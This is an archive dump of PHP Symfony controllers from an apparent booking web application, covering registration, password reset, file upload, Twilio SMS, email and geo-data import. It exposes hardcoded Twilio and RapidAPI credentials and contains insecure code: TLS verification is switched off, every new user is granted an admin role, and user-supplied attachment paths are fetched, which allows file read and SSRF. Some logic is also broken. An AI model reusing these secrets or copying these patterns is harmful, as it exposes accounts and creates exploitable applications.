->subject('[Loger] New Registration') ->from('noreply@loger.cm') ->to($data['email']) ->html( $this->render( // templates/emails/registration.html.twig 'email/registration.html.twig', [ 'user' => $user, 'onlinePath' => $onlinePath, 'companyName' => $this->getParameter('app_client'), ] ) ) ; $mailer->send($message);*/ //$this->setCountries(); $this->getCountries(); return new JsonResponse($responseMessage, Response::HTTP_ACCEPTED); }catch (DBALException $exception){ return new JsonResponse($exception->getMessage(), Response::HTTP_BAD_REQUEST ); } } /** * Update User. * @Rest\Put("/resetting") * @View */ public function resetPasswordAction(Request $request, UserPasswordHasherInterface $encoder){ $ConnectedUser = $this->get('security.token_storage')->getToken()->getUser(); $data = json_decode($request->getContent(), true); if ( ($data['oldPassword'])==($data['newPassword'])) { $responseMessage=array("data"=>$data, "message"=>"new pass should be different to the old One", "processing"=>"failed"); return new JsonResponse($responseMessage, Response::HTTP_BAD_REQUEST ); } try{ // password encoding $encoded = $encoder->hashPassword($ConnectedUser, $data['newPassword']); $ConnectedUser->setPassword($encoded); $em=$this->getDoctrine()->getManager(); $em->persist($ConnectedUser); $em->flush(); $responseMessage=array("data"=>$data, "message"=>"pass changed", "processing"=>"success"); return new JsonResponse($responseMessage, Response::HTTP_ACCEPTED); }catch (DBALException $exception){ return new JsonResponse($exception->getMessage(), Response::HTTP_BAD_REQUEST ); } // ... } /** * activate User. * @Rest\Get("/confirmation/email/{token}") * @View */ public function confirmEmailAction(Request $request, $token) { $user =new User(); $data= base64_decode($token); if(isset($data["id"])){ $entityManager=$this->getDoctrine()->getManager(); $userDb = $entityManager->getRepository(User::class)->find($data["id"]); if(isset($userDb)){ $user->setActive(true); $user->setEnabled(true); $responseMessage=array("data"=>$data, "message"=>"User Has been activated", "processing"=>"success"); return new JsonResponse($responseMessage, Response::HTTP_OK ); }else{ $responseMessage=array("data"=>$data, "message"=>"N", "processing"=>"failed"); return new JsonResponse($responseMessage, Response::HTTP_NOT_FOUND ); } }else{ $responseMessage=array("data"=>$data, "message"=>"invalid token", "processing"=>"failed"); return new JsonResponse($responseMessage, Response::HTTP_BAD_REQUEST ); } } public function setCountries(){ $client = new Client(); $response = $client->request('GET', "https://restcountries.com/v3.1/all?fields=name,flags,capital" , [ 'verify' => false ]); $responseBodies=json_decode($response->getBody()->getContents()); foreach ($responseBodies as $responseBody){ $country=new Country(); $country->setCountryName($responseBody->name->common); $linkToFile="".$responseBody->flags->png; $urli=$linkToFile; $mediaDir= $this->getParameter('publicDir') . '/media/countries/'; $linkToFile=str_replace("https://flagcdn.com/w320/","",$linkToFile); $media= new MediaObject(); $media->filePath=$linkToFile; $country->setCountryFlag($media); $linkToFile=str_replace(".png","",$linkToFile); $country->setCode($linkToFile); if(!empty($responseBody->capital)){ $country->setCapital($responseBody->capital [0]); } if(empty($this->em->getRepository(Country::class)->findOneByCode($linkToFile))){ $this->em->persist($country); $this->em->flush(); if(!is_null($country->getCapital())){ $town=new Town(); $town->setCountry($country); $town->setTownName($country->getCapital()); $town->setIsCapital(true); $this->em->persist($town); $this->em->flush(); } // // $this->downloadFile($urli); } } } public function downloadFile($url){ $mediaDir= $this->getParameter('publicDir') . '/media/countries'; $linkToFile=basename($url); if(!str_contains($linkToFile,"wikimedia")){ if( file_put_contents( $mediaDir."/".$linkToFile,file_get_contents($url))){ echo "File downloaded successfully!"; }else{ echo "File downloading failed!"; } } } protected $em; public function __construct(EntityManagerInterface $em) { $this->em = $em; } public function getTowns(Country $country){ $client = new \GuzzleHttp\Client(); $response = $client->request('GET', 'https://wft-geo-db.p.rapidapi.com/v1/geo/cities?countryIds='.$country->getCode()."&offset=".$country->getOffset()."&limit=5", [ 'headers' => [ 'X-RapidAPI-Host' => 'wft-geo-db.p.rapidapi.com', 'X-RapidAPI-Key' => 'd01923dc5amsh8cc5a1094d152c2p117a73jsneebdb0db3f67', ], 'verify' => false ]); $responseBodies=json_decode($response->getBody()->getContents()); foreach ($responseBodies->data as $responseTown){ $town=new Town(); $town->setCountry($country); $town->setTownName($responseTown-> name); $town->setLatitude($responseTown-> latitude); $town->setLongitude($responseTown-> longitude); $town->setRegion($responseTown-> longitude); $town->setPopulation($responseTown-> population); $town->setIsCapital(false); $dbTown=$this->em->getRepository(Town::class)->findOneByName($responseTown-> name); if (empty($dbTown)) { $this->em->persist($town); $this->em->flush(); }else{ $dbTown->setLatitude($responseTown-> latitude); $dbTown->setLongitude($responseTown-> longitude); $dbTown->setPopuplation($responseTown-> population); $dbTown->setRegion($responseTown-> region); $this->em->persist($dbTown); $this->em->flush(); } } $offset=$country->getOffset()+5; $country->setOffset( $offset); $this->em->persist($country); if($offset<$responseBodies->metadata->totalCount){ $this->getTowns($country,$offset); } } public function getCountries(string $code){ $countries= $this->em->getRepository(Country::class)->findAll(); foreach ($countries as $country){ if($country->getCode()==$code) { if(!is_null($country->getOffset())){ $this->getTowns($country, $country->getOffset()); }else{ $this->getTowns($country, 0); } } } } } Controller/FileManagerController.php 0000644 00000021044 15117152230 0013614 0 ustar 00 <?php namespace App\Controller; use App\Controller\Admin\MediaObjectCrudController; use App\Entity\BookingRoom; use App\Entity\MediaObject; use App\Entity\User; use App\Form\MediaObjectType; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Config\Crud; use EasyCorp\Bundle\EasyAdminBundle\Router\AdminUrlGenerator; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\Form\Extension\Core\Type\ChoiceType; use Symfony\Component\HttpFoundation\File\Exception\FileException; use Symfony\Component\HttpFoundation\File\UploadedFile; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\Component\String\Slugger\SluggerInterface; class FileManagerController extends AbstractController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } /** * * @Route({"es": "/file/manager","en": "/file/manager"}, name="app_file_manager") */ public function index(Request $request, SluggerInterface $slugger,AdminUrlGenerator $adminUrlGenerator): Response { $media=$this->entityManager->getRepository(MediaObject::class)->findAll(); $mediaObject = new MediaObject(); $form = $this->createForm(MediaObjectType::class, $mediaObject); $form->handleRequest($request); if ($form->isSubmitted() && $form->isValid()) { /** @var UploadedFile $media */ $mediaFile = $form->get('media')->getData(); // this condition is needed because the 'brochure' field is not required // so the PDF file must be processed only when a file is uploaded if ($mediaFile) { $originalFilename = pathinfo($mediaFile->getClientOriginalName(), PATHINFO_FILENAME); // this is needed to safely include the file name as part of the URL $safeFilename = $slugger->slug($originalFilename); $newFilename = $safeFilename.'-'.uniqid('', true).'.'.$mediaFile->guessExtension(); // Move the file to the directory where brochures are stored /* ->add('file_type', ChoiceType::class, [ 'choices' => [ 'company' => "Company Logo", 'background' => "Background", 'town' => "Town", 'building' => "Building", 'room' => "Room", 'announce' => "Announce", ], ]) * */ try { if($form->get('file_type')->getData()==="payment_provider"){ $mediaFile->move( $this->getParameter('publicDir')."/media/payment_provider", $newFilename ); $mediaObject->setDirectory("payment_provider"); } if($form->get('file_type')->getData()==="user"){ $mediaFile->move( $this->getParameter('publicDir')."/media/user", $newFilename ); $mediaObject->setDirectory("user"); } if($form->get('file_type')->getData()==="building"){ $mediaFile->move( $this->getParameter('publicDir')."/media/building", $newFilename ); $mediaObject->setDirectory("building"); } if($form->get('file_type')->getData()==="country"){ $mediaFile->move( $this->getParameter('publicDir')."/media/countries", $newFilename ); $mediaObject->setDirectory("countries"); } if($form->get('file_type')->getData()==="company"){ $mediaFile->move( $this->getParameter('publicDir')."/media/company", $newFilename ); $mediaObject->setDirectory("company"); } if($form->get('file_type')->getData()==="background"){ $mediaFile->move( $this->getParameter('publicDir')."/media/background", $newFilename ); $mediaObject->setDirectory("background"); } if($form->get('file_type')->getData()==="town"){ $mediaFile->move( $this->getParameter('publicDir')."/media/town", $newFilename ); $mediaObject->setDirectory("town"); } if($form->get('file_type')->getData()==="payment"){ $mediaFile->move( $this->getParameter('publicDir')."/media/payment", $newFilename ); $mediaObject->setDirectory("payment"); } if($form->get('file_type')->getData()==="room"){ $mediaFile->move( $this->getParameter('publicDir')."/media/room", $newFilename ); $mediaObject->setDirectory("room"); } if($form->get('file_type')->getData()==="announce"){ $mediaFile->move( $this->getParameter('publicDir')."/media/announce", $newFilename ); $mediaObject->setDirectory("announce"); } } catch (FileException $e) { // ... handle exception if something happens during file upload } // updates the 'brochureFilename' property to store the PDF file name // instead of its contents $mediaObject->setFilePath($newFilename); $mediaObject->setCreatedAt(new \DateTimeImmutable()); $this->entityManager->persist($mediaObject); $this->entityManager->flush(); } // ... persist the $product variable or any other work $targetUrl = $adminUrlGenerator ->setController(MediaObjectCrudController::class) ->setAction(Crud::PAGE_DETAIL) ->setEntityId($mediaObject->getId()) ->generateUrl(); //return $this->redirect($targetUrl); } return $this->render('file_manager/file.html.twig', [ 'controller_name' => 'FileManagerController', 'media' => $media, 'form' => $form->createView(), 'user'=>$this->getUser() ]); } public function getUser() { $user= parent::getUser(); // TODO: Change the autogenerated stub if(is_null($user)|| empty($user)){ $user=$_SESSION["user"]; $user->setId($_SESSION["userId"]); } $user = $this->entityManager->getRepository(User::class)->findOneBy( ['id' => $_SESSION["userId"]] ); return $user; } } Controller/ExternalServiceController.php 0000644 00000010734 15117152230 0014551 0 ustar 00 <?php /** * Created by PhpStorm. * User: macbookpro * Date: 21/03/2021 * Time: 16:52 */ namespace App\Controller; use Doctrine\DBAL\DBALException; use Swift_Attachment; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use FOS\RestBundle\Request\ParamFetcher; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security; use FOS\RestBundle\Controller\Annotations as FOSRest; use FOS\RestBundle\Controller\Annotations as Rest; use FOS\RestBundle\Controller\Annotations\View; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use App\Entity\User; use App\Form\UserType; use Psr\Http\Message\ResponseInterface; // Use the REST API Client to make requests to the Twilio REST API use Twilio\Rest\Client; class ExternalServiceController extends AbstractController { /** * @Rest\Post("/external-service/sms") * @View */ public function postSMSAction(Request $request) { // Create a client with a base URI $ConnectedUser = $this->get('security.token_storage')->getToken()->getUser(); $data = json_decode($request->getContent(), true); /* $client = new Client(['base_uri' => 'https://dev.etravel.cm/']); $response = $client->request('GET', 'api/web/cabs'); $responseBody=json_decode($response->getBody()->getContents()); $responseMessage=array("data"=>$responseBody, "message"=>"sms send", "processing"=>"success"); */ $sid = 'AC38da756af13130294f24f9b6c0dff9d9'; $token = '05772e67d3723517b06a7717031ff154'; $twilio = new Client($sid, $token); $message = $twilio->messages ->create("+".$data['phoneNumber'], // to ["body" => $data['message'], "from" => "+15623748443"] ); return new JsonResponse(json_encode($message), Response::HTTP_ACCEPTED); } /** * twillo param ACCOUNT SID AC38da756af13130294f24f9b6c0dff9d9 Used to exercise the REST API AUTH TOKEN 05772e67d3723517b06a7717031ff154 */ /** * send mail. * @Rest\Post("/external-service/sendmail") * @View */ public function sendEmailAction(Request $request, \Symfony\Component\Mailer\Mailer $mailer ){ $data = json_decode($request->getContent(), true); $responseMessage=array("data"=>$data, "message"=>"provide all informations", "processing"=>"failed"); if ( empty($data['subject']) || empty($data['receiver']) || empty($data['title']) || empty($data['email']) || empty($data['body'])) { return new JsonResponse($responseMessage, Response::HTTP_BAD_REQUEST); } $message = (new \Message('[JYVEN] '.$data["subject"])) ->setFrom('info-service@biocarrylife.com') ->setTo($data['email']) ->setBody( $this->renderView( // templates/emails/registration.html.twig 'email/notification.html.twig', [ 'user' => $data["receiver"], 'companyName' => "JYVEN", 'title' => $data["title"], 'body' => $data["body"], ] ), 'text/html' ) ; if(isset($data["attachs"])){ foreach ($data["attachs"] as $attach ){ // Use basename() function to return the base name of file $file_name = basename($attach); // Create the attachment // * Note that you can technically leave the content-type parameter out $attachment = Swift_Attachment::fromPath($attach,$this-> ftype("".$attach)); // Attach it to the message $message->attach($attachment); } } $mailer->send($message); return new JsonResponse(json_encode($mailer), Response::HTTP_ACCEPTED); } function ftype($f) { curl_setopt_array(($c = @curl_init((!preg_match("/[a-z]+:\/{2}(?:www\.)?/i",$f) ? sprintf("%s://%s/%s", "http" , $_SERVER['HTTP_HOST'],$f) : $f))), array(CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 1)); return(preg_match("/Type:\s*(?<mime_type>[^\n]+)/i", @curl_exec($c), $m) && curl_getinfo($c, CURLINFO_HTTP_CODE) != 404) ? ($m["mime_type"]) : 0; } } Controller/RegistrationController.php 0000644 00000012026 15117152230 0014114 0 ustar 00 <?php namespace App\Controller; use App\Entity\User; use App\Form\RegistrationFormType; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use Symfony\Bridge\Twig\Mime\TemplatedEmail; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Mime\Address; use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Contracts\Translation\TranslatorInterface; use SymfonyCasts\Bundle\VerifyEmail\Exception\VerifyEmailExceptionInterface; class RegistrationController extends AbstractController { private $emailVerifier; private $entityManager; public function __construct(EmailVerifier $emailVerifier, EntityManagerInterface $entityManager) { $this->emailVerifier = $emailVerifier; $this->entityManager = $entityManager; } /** * @Route({"es": "/register","en": "/register"}, name="app_register") */ public function register(Request $request, UserPasswordHasherInterface $userPasswordHasher, EntityManagerInterface $entityManager): Response { $user = new User(); $form = $this->createForm(RegistrationFormType::class, $user); $form->handleRequest($request); if ($form->isSubmitted() && $form->isValid()) { // encode the plain password $user->setPassword( $userPasswordHasher->hashPassword( $user, $form->get('plainPassword')->getData() ) ); $user->setUsername($user->getEmail()); $user->setUsernameCanonical($user->getEmail()); $user->setEnabled(false); $user->setActive(false); $user->addRole("ROLE_USER"); $user->addRole("ROLE_ADMIN"); $entityManager->persist($user); $entityManager->flush(); // generate a signed url and email it to the user $this->emailVerifier->sendEmailConfirmation('app_verify_email', $user, (new TemplatedEmail()) ->from(new Address('noreply@loger.cm', 'LOGER MAIL BOT')) ->to($user->getEmail()) ->subject('Please Confirm your Email') ->htmlTemplate('registration/confirmation_email.html.twig') ); // do anything else you need here, like send an email // @TODO Change the redirect on success and handle or remove the flash message in your templates $this->addFlash('success', 'Check Your Mail Box to verify your email address.'); return $this->redirectToRoute('app_login'); } return $this->render('registration/register.html.twig', [ 'registrationForm' => $form->createView(), 'destination' => $request->get('destination'), 'companyName' => $this->getParameter('app_client') ]); } /** * * @Route({"es": "/verify/email","en": "/verify/email"}, name="app_verify_email") */ public function verifyUserEmail(Request $request, TranslatorInterface $translator): Response { $user=$request->get("user"); $user = $this->entityManager->getRepository(User::class)->findOneBy( ['id' => $user] ); // validate email confirmation link, sets User::isVerified=true and persists try { $this->emailVerifier->handleEmailConfirmation($request, $user); } catch (VerifyEmailExceptionInterface $exception) { $this->addFlash('verify_email_error', $translator->trans($exception->getReason(), [], 'VerifyEmailBundle')); return $this->redirectToRoute('app_register'); } // @TODO Change the redirect on success and handle or remove the flash message in your templates $this->addFlash('success', 'Your email address has been verified.'); return $this->redirectToRoute('app_login'); } /** * * @Route({"es": "/resend/email/{user}","en": "/resend/email/{user}"}, name="app_resend_email") */ public function resendVerifyUserEmail(Request $request): Response { $user=$request->get("user"); $user = $this->entityManager->getRepository(User::class)->findOneBy( ['id' => $user] ); $this->emailVerifier->sendEmailConfirmation('app_verify_email', $user, (new TemplatedEmail()) ->from(new Address('noreply@loger.cm', 'LOGER MAIL BOT')) ->to($user->getEmail()) ->subject('Please Confirm your Email') ->htmlTemplate('registration/confirmation_email.html.twig') ); // do anything else you need here, like send an email // @TODO Change the redirect on success and handle or remove the flash message in your templates $this->addFlash('success', 'email successfully.'); return $this->redirectToRoute('admin_dashboard'); } } Controller/ResetPasswordController.php 0000644 00000016134 15117152230 0014253 0 ustar 00 <?php namespace App\Controller; use App\Entity\User; use App\Form\ChangePasswordFormType; use App\Form\ResetPasswordRequestFormType; use Doctrine\ORM\EntityManagerInterface; use Symfony\Bridge\Twig\Mime\TemplatedEmail; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\RedirectResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Mailer\MailerInterface; use Symfony\Component\Mime\Address; use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Contracts\Translation\TranslatorInterface; use SymfonyCasts\Bundle\ResetPassword\Controller\ResetPasswordControllerTrait; use SymfonyCasts\Bundle\ResetPassword\Exception\ResetPasswordExceptionInterface; use SymfonyCasts\Bundle\ResetPassword\ResetPasswordHelperInterface; /** * @Route("/reset-password") */ class ResetPasswordController extends AbstractController { use ResetPasswordControllerTrait; private $resetPasswordHelper; private $entityManager; public function __construct(ResetPasswordHelperInterface $resetPasswordHelper, EntityManagerInterface $entityManager) { $this->resetPasswordHelper = $resetPasswordHelper; $this->entityManager = $entityManager; } /** * Display & process form to request a password reset. * * @Route("", name="app_forgot_password_request") */ public function request(Request $request, MailerInterface $mailer, TranslatorInterface $translator): Response { $form = $this->createForm(ResetPasswordRequestFormType::class); $form->handleRequest($request); if ($form->isSubmitted() && $form->isValid()) { return $this->processSendingPasswordResetEmail( $form->get('email')->getData(), $mailer, $translator ); } return $this->render('reset_password/request.html.twig', [ 'requestForm' => $form->createView(), 'companyName' => $this->getParameter("app_client"), ]); } /** * Confirmation page after a user has requested a password reset. * * @Route("/check-email", name="app_check_email") */ public function checkEmail(): Response { // Generate a fake token if the user does not exist or someone hit this page directly. // This prevents exposing whether or not a user was found with the given email address or not if (null === ($resetToken = $this->getTokenObjectFromSession())) { $resetToken = $this->resetPasswordHelper->generateFakeResetToken(); } return $this->render('reset_password/check_email.html.twig', [ 'resetToken' => $resetToken, 'companyName' => $this->getParameter("app_client"), ]); } /** * Validates and process the reset URL that the user clicked in their email. * * @Route("/reset/{token}", name="app_reset_password") */ public function reset(Request $request, UserPasswordHasherInterface $userPasswordHasher, TranslatorInterface $translator, string $token = null): Response { if ($token) { // We store the token in session and remove it from the URL, to avoid the URL being // loaded in a browser and potentially leaking the token to 3rd party JavaScript. $this->storeTokenInSession($token); return $this->redirectToRoute('app_reset_password'); } $token = $this->getTokenFromSession(); if (null === $token) { throw $this->createNotFoundException('No reset password token found in the URL or in the session.'); } try { $user = $this->resetPasswordHelper->validateTokenAndFetchUser($token); } catch (ResetPasswordExceptionInterface $e) { $this->addFlash('reset_password_error', sprintf( '%s - %s', $translator->trans(ResetPasswordExceptionInterface::MESSAGE_PROBLEM_VALIDATE, [], 'ResetPasswordBundle'), $translator->trans($e->getReason(), [], 'ResetPasswordBundle') )); return $this->redirectToRoute('app_forgot_password_request'); } // The token is valid; allow the user to change their password. $form = $this->createForm(ChangePasswordFormType::class); $form->handleRequest($request); if ($form->isSubmitted() && $form->isValid()) { // A password reset token should be used only once, remove it. $this->resetPasswordHelper->removeResetRequest($token); // Encode(hash) the plain password, and set it. $encodedPassword = $userPasswordHasher->hashPassword( $user, $form->get('plainPassword')->getData() ); $user->setPassword($encodedPassword); $this->entityManager->flush(); // The session is cleaned up after the password has been changed. $this->cleanSessionAfterReset(); return $this->redirectToRoute('app_home'); } return $this->render('reset_password/reset.html.twig', [ 'resetForm' => $form->createView(), 'companyName' => $this->getParameter("app_client"), ]); } private function processSendingPasswordResetEmail(string $emailFormData, MailerInterface $mailer, TranslatorInterface $translator): RedirectResponse { $user = $this->entityManager->getRepository(User::class)->findOneBy([ 'email' => $emailFormData, ]); // Do not reveal whether a user account was found or not. if (!$user) { return $this->redirectToRoute('app_check_email'); } try { $resetToken = $this->resetPasswordHelper->generateResetToken($user); } catch (ResetPasswordExceptionInterface $e) { // If you want to tell the user why a reset email was not sent, uncomment // the lines below and change the redirect to 'app_forgot_password_request'. // Caution: This may reveal if a user is registered or not. // // $this->addFlash('reset_password_error', sprintf( // '%s - %s', // $translator->trans(ResetPasswordExceptionInterface::MESSAGE_PROBLEM_HANDLE, [], 'ResetPasswordBundle'), // $translator->trans($e->getReason(), [], 'ResetPasswordBundle') // )); return $this->redirectToRoute('app_check_email'); } $email = (new TemplatedEmail()) ->from(new Address('contact@loger.cm', 'No Reply Loger CM')) ->to($user->getEmail()) ->subject('Your password reset request') ->htmlTemplate('reset_password/email.html.twig') ->context([ 'resetToken' => $resetToken, ]) ; $mailer->send($email); // Store the token object in session for retrieval in check-email route. $this->setTokenObjectInSession($resetToken); return $this->redirectToRoute('app_check_email'); } } Controller/UserLogController.php 0000644 00000020313 15117152230 0013020 0 ustar 00 <?php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Routing\Annotation\Route; class UserLogController extends AbstractController { /** * @Route("/user/log", name="app_user_log") */ public function index(Request $request): Response { $local=$request->getLocale(); $language=""; $onlinePath=$request->getBasePath(); if(strcmp($local,"fr")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/french_flag.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Français</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Anglais</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Espagnol</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italien</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinois</a></li> '; }else if(strcmp($local,"es")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_spanish.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Español</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francés</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Inglés</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> '; }else if (strcmp($local,"en")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_england.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> English</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> French</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spanish</a></li>'; }else if (strcmp($local,"it")==0) { $language=" <a href=\"#\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/italiano_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Italiano</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francese</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> inglese</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Cinese</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spagnolo</a></li>'; }else if (strcmp($local,"zh_CN")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/china_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> 中國人</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 法語</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 意大利語</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 中國人</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 西班牙語</a></li>'; } return $this->render('user_log/user_log.html.twig', [ 'controller_name' => 'UserLogController', 'companyName' => $this->getParameter("app_client"), 'languageChoose' => $body, 'host'=>$this->siteURL(), 'onlinePath' => $onlinePath, 'language' => $language, ]); } function siteURL() { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $domainName = $_SERVER['HTTP_HOST']; return $protocol.$domainName; } } Controller/UserProfileController.php 0000644 00000027732 15117152230 0013713 0 ustar 00 <?php namespace App\Controller; use App\Entity\Address; use App\Entity\BookingRoom; use App\Entity\Country; use App\Entity\Room; use App\Entity\Town; use App\Entity\Visitor; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use App\Entity\Logs; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\UX\Chartjs\Builder\ChartBuilderInterface; class UserProfileController extends AbstractController { private $chartBuilder; private 